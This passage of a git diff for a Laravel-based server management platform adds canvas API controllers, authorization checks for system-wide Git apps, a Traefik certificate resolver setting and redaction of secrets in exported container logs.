if ($return instanceof JsonResponse) { + return $return; + } + $validator = Validator::make($request->all(), [ + 'label' => ['present', 'nullable', 'string', 'max:64'], + ]); + if ($response = $this->validationFailedResponse($request, $validator, ['label'])) { + return $response; + } + + $link = $environment->resourceLinks()->whereUuid($request->route('link_uuid'))->first(); + if (! $link) { + return response()->json(['message' => 'Link not found.'], 404); + } + $resources = $this->canvas->resourceIndex($environment); + $uuidOf = fn (string $type, int $id) => $resources->search(fn (array $resource) => $resource['type'] === $type && $resource['id'] === $id); + $sourceUuid = $uuidOf($link->source_type, (int) $link->source_id); + $targetUuid = $uuidOf($link->target_type, (int) $link->target_id); + if ($sourceUuid === false || $targetUuid === false) { + return response()->json(['message' => 'Link not found.'], 404); + } + + $link->update(['label' => $this->normalizeLabel($request->input('label'))]); + + return response()->json($this->canvas->linkPayload($link, $sourceUuid, $targetUuid)); + } + + public function destroyLink(Request $request): JsonResponse + { + $environment = $this->findEnvironment($request); + if ($environment instanceof JsonResponse) { + return $environment; + } + $this->authorize('update', $environment); + + $link = $environment->resourceLinks()->whereUuid($request->route('link_uuid'))->first(); + if (! $link) { + return response()->json(['message' => 'Link not found.'], 404); + } + $link->delete(); + + return response()->json(['message' => 'Link deleted.']); + } + + /** + * The environment of the request, within a project of the token's team. + */ + private function findEnvironment(Request $request): Environment|JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $project = Project::whereTeamId($teamId)->whereUuid($request->route('uuid'))->first(); + if (! $project) { + return response()->json(['message' => 'Project not found.'], 404); + } + + $environmentNameOrUuid = $request->route('environment_name_or_uuid'); + $environment = $project->environments()->whereName($environmentNameOrUuid)->first() + ?? $project->environments()->whereUuid($environmentNameOrUuid)->first(); + if (! $environment) { + return response()->json(['message' => 'Environment not found.'], 404); + } + $environment->setRelation('project', $project); + + return $environment; + } + + /** + * @param array $allowedFields + */ + private function validationFailedResponse(Request $request, ValidatorContract $validator, array $allowedFields): ?JsonResponse + { + $extraFields = array_diff(array_keys($request->all()), $allowedFields); + if (! $validator->fails() && empty($extraFields)) { + return null; + } + + $errors = $validator->errors(); + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $errors, + ], 422); + } + + private function normalizeLabel(mixed $label): ?string + { + $label = trim((string) $label); + + return $label === '' ? null : $label; + } +} diff --git a/app/Http/Controllers/Api/GithubController.php b/app/Http/Controllers/Api/GithubController.php index 85238e799b..3847c56021 100644 --- a/app/Http/Controllers/Api/GithubController.php +++ b/app/Http/Controllers/Api/GithubController.php @@ -247,6 +247,10 @@ class GithubController extends Controller ], 422); } + if (! isCloud() && $request->boolean('is_system_wide')) { + $this->authorize('makeSystemWide', GithubApp::class); + } + try { // Verify the private key belongs to the team $privateKey = PrivateKey::where('uuid', $request->input('private_key_uuid')) @@ -663,6 +667,10 @@ class GithubController extends Controller $payload['api_url'] = githubApiUrlFromHtmlUrl($payload['html_url']); } + if (! isCloud() && filter_var($payload['is_system_wide'] ?? false, FILTER_VALIDATE_BOOLEAN) && ! $githubApp->is_system_wide) { + $this->authorize('makeSystemWide', GithubApp::class); + } + // Handle private_key_uuid -> private_key_id conversion if (isset($payload['private_key_uuid'])) { $privateKey = PrivateKey::where('team_id', $teamId) diff --git a/app/Http/Controllers/Api/GitlabController.php b/app/Http/Controllers/Api/GitlabController.php index 959a3067aa..f33e5d8392 100644 --- a/app/Http/Controllers/Api/GitlabController.php +++ b/app/Http/Controllers/Api/GitlabController.php @@ -247,6 +247,10 @@ class GitlabController extends Controller ], 422); } + if (! isCloud() && $request->boolean('is_system_wide')) { + $this->authorize('makeSystemWide', GitlabApp::class); + } + try { $htmlUrl = rtrim((string) $request->input('html_url'), '/'); $apiUrl = filled($request->input('api_url')) @@ -420,6 +424,10 @@ class GitlabController extends Controller ], 422); } + if (! isCloud() && filter_var($payload['is_system_wide'] ?? false, FILTER_VALIDATE_BOOLEAN) && ! $gitlabApp->is_system_wide) { + $this->authorize('makeSystemWide', GitlabApp::class); + } + if (isset($payload['html_url'])) { $payload['html_url'] = rtrim((string) $payload['html_url'], '/'); if (! filled($payload['api_url'] ?? null)) { diff --git a/app/Http/Controllers/Api/HetznerController.php b/app/Http/Controllers/Api/HetznerController.php index 7c2cbd8ace..d432c90811 100644 --- a/app/Http/Controllers/Api/HetznerController.php +++ b/app/Http/Controllers/Api/HetznerController.php @@ -932,7 +932,7 @@ class HetznerController extends Controller if ($request->enable_ipv4 && isset($hetznerServer['public_net']['ipv4']['ip'])) { $ipAddress = $hetznerServer['public_net']['ipv4']['ip']; } elseif ($request->enable_ipv6 && isset($hetznerServer['public_net']['ipv6']['ip'])) { - $ipAddress = $hetznerServer['public_net']['ipv6']['ip']; + $ipAddress = hetznerServerIpv6($hetznerServer['public_net']['ipv6']['ip']); } if (! $ipAddress) { diff --git a/app/Http/Controllers/Api/OtherController.php b/app/Http/Controllers/Api/OtherController.php index 8fa3125aec..8e36629921 100644 --- a/app/Http/Controllers/Api/OtherController.php +++ b/app/Http/Controllers/Api/OtherController.php @@ -50,62 +50,6 @@ class OtherController extends Controller return response(config('constants.coolify.version')); } - #[OA\Post( - summary: 'Enable API', - description: 'Enable API (only with root permissions).', - path: '/enable', - operationId: 'enable-api', - security: [ - ['bearerAuth' => []], - ], - responses: [ - new OA\Response( - response: 200, - description: 'Enable API.', - content: new OA\JsonContent( - type: 'object', - properties: [ - new OA\Property(property: 'message', type: 'string', example: 'API enabled.'), - ] - )), - new OA\Response( - response: 403, - description: 'You are not allowed to enable the API.', - content: new OA\JsonContent( - type: 'object', - properties: [ - new OA\Property(property: 'message', type: 'string', example: 'You are not allowed to enable the API.'), - ] - )), - new OA\Response( - response: 401, - ref: '#/components/responses/401', - ), - new OA\Response( - response: 400, - ref: '#/components/responses/400', - ), - ] - )] - public function enable_api(Request $request) - { - $teamId = getTeamIdFromToken(); - if (is_null($teamId)) { - return invalidTokenResponse(); - } - if ($teamId !== '0') { - auditLog('api.instance.enable_denied', ['team_id' => $teamId], 'warning'); - - return response()->json(['message' => 'You are not allowed to enable the API.'], 403); - } - $settings = instanceSettings(); - $settings->update(['is_api_enabled' => true]); - - auditLog('api.instance.enabled', ['team_id' => $teamId]); - - return response()->json(['message' => 'API enabled.'], 200); - } - #[OA\Post( summary: 'Disable API', description: 'Disable API (only with root permissions).', diff --git a/app/Http/Controllers/Api/ProjectCanvasController.php b/app/Http/Controllers/Api/ProjectCanvasController.php new file mode 100644 index 0000000000..534cd7f56a --- /dev/null +++ b/app/Http/Controllers/Api/ProjectCanvasController.php @@ -0,0 +1,54 @@ +json($this->canvas->teamPayload((int) $teamId, (bool) $request->attributes->get('can_read_sensitive', false), $this->canEdit($request, (int) $teamId))); + } + + public function show(Request $request, string $uuid): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + $project = Project::query()->whereTeamId($teamId)->whereUuid($uuid)->first(); + if (! $project) { + return response()->json(['message' => 'Project not found.'], 404); + } + $this->authorize('view', $project); + + return response()->json($this->canvas->payload($project, (bool) $request->attributes->get('can_read_sensitive', false), $this->canEdit($request, (int) $project->team_id))); + } + + /** + * Same rule as the environment canvas: team admins with a write token move cards and draw links. + */ + private function canEdit(Request $request, int $teamId): bool + { + $user = $request->user(); + $token = $user->currentAccessToken(); + + return $user->isAdminOfTeam($teamId) && ($token->can('root') || $token->can('write')); + } +} diff --git a/app/Http/Controllers/Api/SecurityController.php b/app/Http/Controllers/Api/SecurityController.php index f5b0b0366b..9df897caa3 100644 --- a/app/Http/Controllers/Api/SecurityController.php +++ b/app/Http/Controllers/Api/SecurityController.php @@ -269,7 +269,6 @@ class SecurityController extends Controller mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['private_key'], properties: [ 'name' => ['type' => 'string'], 'description' => ['type' => 'string'], @@ -328,7 +327,7 @@ class SecurityController extends Controller $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255', 'description' => 'string|max:255', - 'private_key' => 'required|string', + 'private_key' => 'string', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); diff --git a/app/Http/Controllers/Api/ServerCanvasController.php b/app/Http/Controllers/Api/ServerCanvasController.php new file mode 100644 index 0000000000..e48b8c4aff --- /dev/null +++ b/app/Http/Controllers/Api/ServerCanvasController.php @@ -0,0 +1,80 @@ +authorize('viewAny', Server::class); + + $servers = Server::query()->whereTeamId($teamId)->with('settings')->orderBy('name')->get(); + + return response()->json($this->canvas->payload($teamId, $servers, null, $this->canReadSensitive($request), $this->canEdit($request, $teamId))); + } + + public function show(Request $request, string $uuid): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + $server = Server::query()->whereTeamId($teamId)->whereUuid($uuid)->with('settings')->first(); + if (! $server) { + return response()->json(['message' => 'Server not found.'], 404); + } + $this->authorize('view', $server); + + return response()->json($this->canvas->payload($teamId, collect([$server]), $server, $this->canReadSensitive($request), $this->canEdit($request, $teamId))); + } + + /** + * Same rule as the environment canvas: team admins with a write token move cards and draw links. + */ + private function canEdit(Request $request, int $teamId): bool + { + $user = $request->user(); + $token = $user->currentAccessToken(); + + return $user->isAdminOfTeam($teamId) && ($token->can('root') || $token->can('write')); + } + + /** + * Unmanaged Docker containers of one server, as read-only cards for its canvas. + */ + public function containers(string $uuid): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + $server = Server::query()->whereTeamId($teamId)->whereUuid($uuid)->with('settings')->first(); + if (! $server) { + return response()->json(['message' => 'Server not found.'], 404); + } + $this->authorize('view', $server); + + return response()->json(['nodes' => $this->canvas->unmanagedContainerNodes($server)->all()]); + } + + private function canReadSensitive(Request $request): bool + { + return (bool) $request->attributes->get('can_read_sensitive', false); + } +} diff --git a/app/Http/Controllers/Api/ServerProxyController.php b/app/Http/Controllers/Api/ServerProxyController.php index 6b1e86b78d..8c7bdc90fe 100644 --- a/app/Http/Controllers/Api/ServerProxyController.php +++ b/app/Http/Controllers/Api/ServerProxyController.php @@ -7,6 +7,7 @@ use App\Enums\ProxyTypes; use App\Http\Controllers\Controller; use App\Jobs\RestartProxyJob; use App\Models\Server; +use App\Models\ServerSetting; use App\Rules\SafeExternalUrl; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; @@ -41,6 +42,7 @@ class ServerProxyController extends Controller * redirect_enabled: bool, * redirect_url: string|null, * generate_exact_labels: bool, + * traefik_certificate_resolver: string|null, * configuration?: string|null * } */ @@ -52,6 +54,7 @@ class ServerProxyController extends Controller 'redirect_enabled' => (bool) data_get($server->proxy, 'redirect_enabled', true), 'redirect_url' => data_get($server->proxy, 'redirect_url'), 'generate_exact_labels' => (bool) ($server->settings->generate_exact_labels ?? false), + 'traefik_certificate_resolver' => $server->traefikCertificateResolver(), ]; // Proxy compose can contain secrets; only expose with read:sensitive (and admin) like other APIs. @@ -86,6 +89,7 @@ class ServerProxyController extends Controller new OA\Property(property: 'redirect_enabled', type: 'boolean', example: true), new OA\Property(property: 'redirect_url', type: 'string', nullable: true, example: 'https://example.com'), new OA\Property(property: 'generate_exact_labels', type: 'boolean', example: false), + new OA\Property(property: 'traefik_certificate_resolver', type: 'string', nullable: true, example: 'letsencrypt', description: 'Traefik certificate resolver for generated HTTPS routers. Null when the proxy uses its own certificates.'), new OA\Property(property: 'configuration', type: 'string', nullable: true, description: 'Docker Compose proxy configuration when stored in the database. Only present with read:sensitive.'), ] ) @@ -114,7 +118,7 @@ class ServerProxyController extends Controller #[OA\Patch( summary: 'Update server proxy', - description: 'Update proxy redirect settings, exact labels generation, and optionally the proxy type for a team-owned server.', + description: 'Update proxy redirect settings, exact labels generation, the Traefik certificate resolver, and optionally the proxy type for a team-owned server.', path: '/servers/{uuid}/proxy', operationId: 'update-server-proxy', security: [['bearerAuth' => []]], @@ -130,6 +134,7 @@ class ServerProxyController extends Controller new OA\Property(property: 'redirect_enabled', type: 'boolean'), new OA\Property(property: 'redirect_url', type: 'string', nullable: true, description: 'Public http(s) redirect URL, or null to clear.'), new OA\Property(property: 'generate_exact_labels', type: 'boolean'), + new OA\Property(property: 'traefik_certificate_resolver', type: 'string', nullable: true, description: 'Traefik certificate resolver for generated HTTPS routers (letters, digits, _ and -). Null or empty to use your own certificates. Redeploy resources to apply.'), new OA\Property(property: 'proxy_type', type: 'string', enum: ['traefik', 'caddy', 'nginx', 'none'], description: 'Proxy type (case-insensitive).'), ] ) @@ -146,6 +151,7 @@ class ServerProxyController extends Controller new OA\Property(property: 'redirect_enabled', type: 'boolean'), new OA\Property(property: 'redirect_url', type: 'string', nullable: true), new OA\Property(property: 'generate_exact_labels', type: 'boolean'), + new OA\Property(property: 'traefik_certificate_resolver', type: 'string', nullable: true), new OA\Property(property: 'configuration', type: 'string', nullable: true), ] ) @@ -168,11 +174,12 @@ class ServerProxyController extends Controller return $return; } - $allowedFields = ['redirect_enabled', 'redirect_url', 'generate_exact_labels', 'proxy_type']; + $allowedFields = ['redirect_enabled', 'redirect_url', 'generate_exact_labels', 'traefik_certificate_resolver', 'proxy_type']; $validator = customApiValidator($request->all(), [ 'redirect_enabled' => 'boolean', 'redirect_url' => ['nullable', 'string', new SafeExternalUrl], 'generate_exact_labels' => 'boolean', + 'traefik_certificate_resolver' => ['nullable', 'string', 'max:255', 'regex:'.ServerSetting::TRAEFIK_CERTIFICATE_RESOLVER_PATTERN], 'proxy_type' => 'string|nullable', ]); @@ -228,16 +235,29 @@ class ServerProxyController extends Controller $server->settings->save(); } + $certificateResolverChanged = false; + if ($request->exists('traefik_certificate_resolver')) { + $server->settings->traefik_certificate_resolver = $request->input('traefik_certificate_resolver') ?: null; + $certificateResolverChanged = $server->settings->isDirty('traefik_certificate_resolver'); + $server->settings->save(); + } + if ($request->has('proxy_type') && filled($request->proxy_type)) { $server->changeProxy($request->proxy_type, async: true); $server->refresh(); } // Apply redirect file on the server only when reachable (DB settings always saved above). - if ($redirectChanged && $server->isFunctional()) { + // The catch-all router in that file uses the certificate resolver too. + if (($redirectChanged || $certificateResolverChanged) && $server->isFunctional()) { $server->setupDefaultRedirect(); } + // Coolify's own dashboard routes use the resolver too. + if ($certificateResolverChanged && $server->isFunctional()) { + $server->setupDynamicProxyConfiguration(); + } + auditLog('api.server.proxy.updated', [ 'team_id' => $teamId, 'server_uuid' => $server->uuid, diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index 5fa1801a5e..69622d8255 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -358,11 +358,7 @@ class ServersController extends Controller if ($applications->count() > 0) { foreach ($applications as $application) { $ip = $application->destination->server->ip; - $fqdn = str($application->fqdn)->explode(',')->map(function ($fqdn) { - $f = str($fqdn)->replace('http://', '')->replace('https://', '')->explode('/'); - - return str(str($f[0])->explode(':')[0]); - })->filter(function (Stringable $fqdn) { + $fqdn = str($application->fqdn)->explode(',')->map(fn ($fqdn) => self::domainHostWithoutPort((string) $fqdn))->filter(function (Stringable $fqdn) { return $fqdn->isNotEmpty(); }); @@ -401,11 +397,7 @@ class ServersController extends Controller $service_applications = $service->applications; if ($service_applications->count() > 0) { foreach ($service_applications as $application) { - $fqdn = str($application->fqdn)->explode(',')->map(function ($fqdn) { - $f = str($fqdn)->replace('http://', '')->replace('https://', '')->explode('/'); - - return str(str($f[0])->explode(':')[0]); - })->filter(function (Stringable $fqdn) { + $fqdn = str($application->fqdn)->explode(',')->map(fn ($fqdn) => self::domainHostWithoutPort((string) $fqdn))->filter(function (Stringable $fqdn) { return $fqdn->isNotEmpty(); }); $serviceIp = $server->ip; @@ -597,7 +589,7 @@ class ServersController extends Controller if (! $privateKey) { return response()->json(['message' => 'Private key not found.'], 404); } - $foundServer = ModelsServer::whereIp($request->ip)->first(); + $foundServer = ModelsServer::whereIp(ModelsServer::normalizeIp($request->ip))->first(); if ($foundServer) { return response()->json(['message' => 'A server with this IP/Domain is already in use.'], 400); } @@ -1125,4 +1117,17 @@ class ServersController extends Controller return response()->json(['message' => $message], 201); } + + /** + * The host of a domain without the port: "[2a01:4f8::1]:8080" gives "[2a01:4f8::1]", "example.com:3000" gives "example.com". + */ + private static function domainHostWithoutPort(string $fqdn): Stringable + { + $authority = (string) str($fqdn)->replace('http://', '')->replace('https://', '')->explode('/')[0]; + if (str_starts_with($authority, '[') && str_contains($authority, ']')) { + return str(substr($authority, 0, strpos($authority, ']') + 1)); + } + + return str(str($authority)->explode(':')[0]); + } } diff --git a/app/Http/Controllers/Api/ServiceApplicationsController.php b/app/Http/Controllers/Api/ServiceApplicationsController.php index 586ee7f538..30cd61f0b9 100644 --- a/app/Http/Controllers/Api/ServiceApplicationsController.php +++ b/app/Http/Controllers/Api/ServiceApplicationsController.php @@ -7,6 +7,8 @@ use App\Actions\Service\RestartServiceApplication; use App\Actions\Service\StopServiceApplication; use App\Actions\Service\UpdateServiceApplicationFromApi; use App\Http\Controllers\Controller; +use App\Models\EnvironmentVariable; +use App\Models\ServerSetting; use App\Models\Service; use App\Models\ServiceApplication; use App\Support\ValidationPatterns; @@ -257,6 +259,7 @@ class ServiceApplicationsController extends Controller 'exclude_from_status' => new OA\Property(property: 'exclude_from_status', type: 'boolean', nullable: true), 'is_log_drain_enabled' => new OA\Property(property: 'is_log_drain_enabled', type: 'boolean', nullable: true), 'is_gzip_enabled' => new OA\Property(property: 'is_gzip_enabled', type: 'boolean', nullable: true), + 'traefik_certificate_resolver' => new OA\Property(property: 'traefik_certificate_resolver', type: 'string', nullable: true, description: 'Traefik certificate resolver for this service application. Null uses the server setting, "none" uses no resolver.'), 'is_stripprefix_enabled' => new OA\Property(property: 'is_stripprefix_enabled', type: 'boolean', nullable: true), 'is_force_https_enabled' => new OA\Property(property: 'is_force_https_enabled', type: 'boolean', nullable: true), 'max_restart_count' => new OA\Property(property: 'max_restart_count', type: 'integer', minimum: 0, nullable: true, description: 'Maximum Docker restart count before Coolify stops the container. Set to 0 to disable the limit.'), @@ -331,6 +334,7 @@ class ServiceApplicationsController extends Controller 'exclude_from_status', 'is_log_drain_enabled', 'is_gzip_enabled', + 'traefik_certificate_resolver', 'is_stripprefix_enabled', 'is_force_https_enabled', 'max_restart_count', @@ -346,6 +350,7 @@ class ServiceApplicationsController extends Controller 'exclude_from_status' => 'sometimes|boolean', 'is_log_drain_enabled' => 'sometimes|boolean', 'is_gzip_enabled' => 'sometimes|boolean', + 'traefik_certificate_resolver' => ['sometimes', 'nullable', 'string', 'max:255', 'regex:'.ServerSetting::TRAEFIK_CERTIFICATE_RESOLVER_PATTERN], 'is_stripprefix_enabled' => 'sometimes|boolean', 'is_force_https_enabled' => 'sometimes|boolean', 'max_restart_count' => 'sometimes|integer|min:0', @@ -528,7 +533,10 @@ class ServiceApplicationsController extends Controller } $lines = normalizeLogLines($request->query('lines')); - $logs = getContainerLogs($server, $containerName, $lines); + $logs = sanitizeLogsForExport( + getContainerLogs($server, $containerName, $lines), + EnvironmentVariable::logRedactionSecretsFor($serviceApplication->service), + ); return response()->json([ 'logs' => $logs, diff --git a/app/Http/Controllers/Api/ServiceDatabasesController.php b/app/Http/Controllers/Api/ServiceDatabasesController.php index 795778ffb0..ba0e7c9045 100644 --- a/app/Http/Controllers/Api/ServiceDatabasesController.php +++ b/app/Http/Controllers/Api/ServiceDatabasesController.php @@ -8,6 +8,7 @@ use App\Actions\Service\DeployServiceApplication; use App\Actions\Service\RestartServiceApplication; use App\Actions\Service\StopServiceApplication; use App\Http\Controllers\Controller; +use App\Models\EnvironmentVariable; use App\Models\Service; use App\Models\ServiceDatabase; use Illuminate\Http\JsonResponse; @@ -401,7 +402,10 @@ class ServiceDatabasesController extends Controller $lines = normalizeLogLines($request->query('lines')); return response()->json([ - 'logs' => getContainerLogs($server, $containerName, $lines), + 'logs' => sanitizeLogsForExport( + getContainerLogs($server, $containerName, $lines), + EnvironmentVariable::logRedactionSecretsFor($serviceDatabase->service), + ), ]); } diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 7411f8a472..c858c1bc8c 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -321,6 +321,7 @@ class ServicesController extends Controller ], 'force_domain_override' => ['type' => 'boolean', 'default' => false, 'description' => 'Force domain override even if conflicts are detected.'], 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.'], + 'redact_all_env_values_in_logs' => ['type' => 'boolean', 'default' => true, 'description' => 'Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions.'], 'tags' => ['type' => 'array', 'items' => new OA\Items(type: 'string'), 'description' => 'Tags to assign to the service.'], ], ), @@ -388,7 +389,7 @@ class ServicesController extends Controller )] public function create_service(Request $request) { - $allowedFields = ['type', 'name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'urls', 'force_domain_override', 'is_container_label_escape_enabled', 'tags']; + $allowedFields = ['type', 'name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'urls', 'force_domain_override', 'is_container_label_escape_enabled', 'redact_all_env_values_in_logs', 'tags']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -422,6 +423,7 @@ class ServicesController extends Controller 'urls.*.url' => ValidationPatterns::applicationDomainRules(), 'force_domain_override' => 'boolean', 'is_container_label_escape_enabled' => 'boolean', + 'redact_all_env_values_in_logs' => 'boolean', 'tags' => 'array|nullable', 'tags.*' => 'string|min:2', ]; @@ -554,6 +556,9 @@ class ServicesController extends Controller if ($request->has('is_container_label_escape_enabled')) { $service->is_container_label_escape_enabled = $request->boolean('is_container_label_escape_enabled'); } + if ($request->has('redact_all_env_values_in_logs')) { + $service->redact_all_env_values_in_logs = $request->boolean('redact_all_env_values_in_logs'); + } $service->save(); if ($oneClickDotEnvs?->count() > 0) { $oneClickDotEnvs->each(function ($value) use ($service) { @@ -622,7 +627,7 @@ class ServicesController extends Controller return response()->json(['message' => 'Service not found.', 'valid_service_types' => $serviceKeys], 404); } elseif (filled($request->docker_compose_raw)) { - $allowedFields = ['name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override', 'is_container_label_escape_enabled', 'tags']; + $allowedFields = ['name', 'description', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override', 'is_container_label_escape_enabled', 'redact_all_env_values_in_logs', 'tags']; $validationRules = [ 'project_uuid' => 'string|required', @@ -641,6 +646,7 @@ class ServicesController extends Controller 'urls.*.url' => ValidationPatterns::applicationDomainRules(), 'force_domain_override' => 'boolean', 'is_container_label_escape_enabled' => 'boolean', + 'redact_all_env_values_in_logs' => 'boolean', 'tags' => 'array|nullable', 'tags.*' => 'string|min:2', ]; @@ -757,6 +763,9 @@ class ServicesController extends Controller if ($request->has('is_container_label_escape_enabled')) { $service->is_container_label_escape_enabled = $request->boolean('is_container_label_escape_enabled'); } + if ($request->has('redact_all_env_values_in_logs')) { + $service->redact_all_env_values_in_logs = $request->boolean('redact_all_env_values_in_logs'); + } $service->save(); $service->parse(isNew: true); @@ -985,7 +994,10 @@ class ServicesController extends Controller $lines = normalizeLogLines($request->query('lines')); $showTimestamps = parseLogTimestampFlag($request->query('show_timestamps')); - $logs = getContainerLogs($service->destination->server, $container['ID'], $lines, $showTimestamps); + $logs = sanitizeLogsForExport( + getContainerLogs($service->destination->server, $container['ID'], $lines, $showTimestamps), + EnvironmentVariable::logRedactionSecretsFor($service), + ); return response()->json([ 'logs' => $logs, @@ -1132,6 +1144,7 @@ class ServicesController extends Controller ], 'force_domain_override' => ['type' => 'boolean', 'default' => false, 'description' => 'Force domain override even if conflicts are detected.'], 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.'], + 'redact_all_env_values_in_logs' => ['type' => 'boolean', 'default' => true, 'description' => 'Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions.'], ], ) ), @@ -1220,12 +1233,16 @@ class ServicesController extends Controller $this->authorize('update', $service); + if ($request->has('redact_all_env_values_in_logs')) { + $this->authorize('manageEnvironment', $service); + } + if ($request->boolean('instant_deploy')) { abort_unless($request->user()->tokenCan('deploy') || $request->user()->tokenCan('root'), 403, 'Missing required permissions: deploy'); $this->authorize('deploy', $service); } - $allowedFields = ['name', 'description', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override', 'is_container_label_escape_enabled']; + $allowedFields = ['name', 'description', 'instant_deploy', 'docker_compose_raw', 'connect_to_docker_network', 'urls', 'force_domain_override', 'is_container_label_escape_enabled', 'redact_all_env_values_in_logs']; $validationRules = [ 'name' => 'string|max:255', @@ -1239,6 +1256,7 @@ class ServicesController extends Controller 'urls.*.url' => ValidationPatterns::applicationDomainRules(), 'force_domain_override' => 'boolean', 'is_container_label_escape_enabled' => 'boolean', + 'redact_all_env_values_in_logs' => 'boolean', ]; $validationMessages = [ 'urls.*.array' => 'An item in the urls array has invalid fields. Only name and url fields are supported.', @@ -1306,6 +1324,9 @@ class ServicesController extends Controller if ($request->has('is_container_label_escape_enabled')) { $service->is_container_label_escape_enabled = $request->boolean('is_container_label_escape_enabled'); } + if ($request->has('redact_all_env_values_in_logs')) { + $service->redact_all_env_values_in_logs = $request->boolean('redact_all_env_values_in_logs'); + } $previousDnsHostnames = $this->serviceApplicationDnsHostnames($service); $service->save(); @@ -3399,7 +3420,7 @@ class ServicesController extends Controller } foreach ($sourceDatabase->scheduledBackups()->get() as $backup) { - $backup->replicate([ + $newBackup = $backup->replicate([ 'id', 'created_at', 'updated_at', @@ -3408,7 +3429,9 @@ class ServicesController extends Controller 'database_id' => $database->id, 'database_type' => $database->getMorphClass(), 'team_id' => $teamId, - ])->save(); + ]); + $newBackup->save(); + $backup->copyS3StoragesTo($newBackup); } } diff --git a/app/Http/Controllers/Api/SharedVariableCanvasController.php b/app/Http/Controllers/Api/SharedVariableCanvasController.php new file mode 100644 index 0000000000..718dc6bb76 --- /dev/null +++ b/app/Http/Controllers/Api/SharedVariableCanvasController.php @@ -0,0 +1,199 @@ +scope($request); + $owner = $this->findOwner($scope, $request->route('uuid')); + if ($owner instanceof JsonResponse) { + return $owner; + } + $this->authorize('view', $owner); + + return response()->json($this->canvas->payload($scope, $owner, $this->canEdit($request, $scope, $owner))); + } + + public function storeLink(Request $request): JsonResponse + { + $scope = $this->scope($request); + $owner = $this->findOwner($scope, $request->route('uuid')); + if ($owner instanceof JsonResponse) { + return $owner; + } + $this->authorize('view', $owner); + + $return = validateIncomingRequest($request); + if ($return instanceof JsonResponse) { + return $return; + } + $validator = Validator::make($request->all(), [ + 'source' => ['required', 'string', 'max:255'], + 'target' => ['required', 'string', 'max:255'], + ]); + if ($validator->fails()) { + return response()->json(['message' => 'Validation failed.', 'errors' => $validator->errors()], 422); + } + + $variable = $this->findVariable($owner, $request->input('source')); + $resource = $this->canvas->resources($scope, $owner)->get($request->input('target')); + $errors = []; + if (! $variable) { + $errors['source'] = ['The source must be a shared variable of this scope.']; + } + if (! $resource) { + $errors['target'] = ['The target must be a resource that can use this shared variable.']; + } + if ($errors !== []) { + return response()->json(['message' => 'Validation failed.', 'errors' => $errors], 422); + } + $this->authorize('manageEnvironment', $resource); + + $existing = $this->canvas->resourceVariables(collect([$resource]))->firstWhere('key', $variable->key); + if ($existing) { + $message = in_array($variable->key, $this->canvas->referencedKeys($scope, $existing->value), true) + ? "{$resource->name} already uses {$variable->key}." + : "{$resource->name} already has a variable named {$variable->key}. Rename or remove it first."; + + return response()->json(['message' => $message, 'errors' => ['target' => [$message]]], 422); + } + + $environmentVariable = new EnvironmentVariable; + $environmentVariable->key = $variable->key; + $environmentVariable->value = $this->canvas->reference($scope, $variable->key); + $environmentVariable->is_multiline = (bool) $variable->is_multiline; + $environmentVariable->is_literal = (bool) $variable->is_literal; + $environmentVariable->resourceable_id = $resource->getKey(); + $environmentVariable->resourceable_type = $resource->getMorphClass(); + $environmentVariable->save(); + + $link = collect($this->canvas->links($scope, collect([$variable]), collect([$resource->uuid => $resource]))) + ->firstWhere('source', $this->canvas->variableNodeId($variable)); + + return response()->json($link, 201); + } + + public function destroyLink(Request $request): JsonResponse + { + $scope = $this->scope($request); + $owner = $this->findOwner($scope, $request->route('uuid')); + if ($owner instanceof JsonResponse) { + return $owner; + } + $this->authorize('view', $owner); + + [$source, $target] = array_pad(explode('|', (string) $request->route('link_id'), 2), 2, ''); + $resource = $this->canvas->resources($scope, $owner)->get($target); + $variable = $this->findVariable($owner, $source); + $key = $variable?->key ?? (str_starts_with($source, 'missing:') ? substr($source, strlen('missing:')) : null); + if (! $resource || blank($key)) { + return response()->json(['message' => 'Link not found.'], 404); + } + $this->authorize('manageEnvironment', $resource); + + // Preview copies of application variables are removed together with the variable. + $references = EnvironmentVariable::query() + ->where('resourceable_type', $resource->getMorphClass()) + ->where('resourceable_id', $resource->getKey()) + ->get() + ->filter(fn (EnvironmentVariable $environmentVariable) => in_array($key, $this->canvas->referencedKeys($scope, $environmentVariable->value), 